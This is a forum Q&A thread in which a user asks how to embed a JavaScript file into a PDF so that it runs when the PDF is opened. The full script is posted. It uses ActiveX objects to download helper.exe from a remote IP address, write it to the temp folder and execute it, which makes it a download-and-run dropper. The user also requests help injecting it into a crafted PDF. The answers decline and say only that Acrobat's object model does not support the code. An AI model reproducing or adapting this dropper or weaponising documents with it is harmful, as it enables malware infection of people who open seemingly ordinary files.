How to embed and execute javascript into existing PDF?

Question

I am struggling with embedding a helper.js (that works if executed independently) into a PDF.

The function of the helper.js is to download from a webserver and execute within a shell. How do i embed this javascript code within the PDF such that it can execute ?

Below is my helper.js code :

var actxObj = this.ActiveXObject;
var wsObj = new actxObj("WScript.Shell");
var ajaxObj = new actxObj("MSXML2.XMLHTTP");
var helperPath = wsObj.ExpandEnvironmentStrings("%TEMP%") + "/helper.exe";

ajaxObj.onreadystatechange = function() {
    if (ajaxObj.readystate === 4) {
        var adoObj = new actxObj("ADODB.Stream");
        adoObj.open();
        adoObj.type = 1;
        adoObj.write(ajaxObj.ResponseBody);
        adoObj.position = 0;
        adoObj.saveToFile(helperPath, 2);
        adoObj.close();
    };
};

try {

    ajaxObj.open("GET", "http://192.168.134.50/tools/helper.exe", false);
    ajaxObj.send();
    wsObj.Run(helperPath, 1, false);
} catch (e) {};

How does the code look like that you use to insert the js into the pdf? — Stefan Hegny
– Stefan Hegny, Commented Jun 13, 2017 at 7:09
this is the exact code i tried adding into the PDF structure but it doesnt seem to trigger when i execute the PDF ... — misctp asdas
– misctp asdas, Commented Jun 13, 2017 at 7:12
it can be a new PDF or a existing PDF, perhaps you could demonstrate how this js code can be injected into a new crafted PDF? @StefanHegny — misctp asdas
– misctp asdas, Commented Jun 13, 2017 at 7:13

joelgeraci · Accepted Answer · 2017-06-13 13:58:10Z

1

What you listed isn't using the Acrobat extensions to the JavaScript core. It's never going to run in a PDF. Acrobat extends the JavaScript core only. JavaScript that runs in an HTML browser simply won't work in a PDF. Acrobat and other PDF viewers that interpret the Acrobat extensions to JavaScript have a completely different object and event model.

answered Jun 13, 2017 at 13:58

joelgeraci

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2 Comments

misctp asdas Over a year ago

could you share an example of integrating this Javascript code in PDF ?

joelgeraci Over a year ago

That code specifically? No. It uses objects that are not in Acrobat JavaScript.

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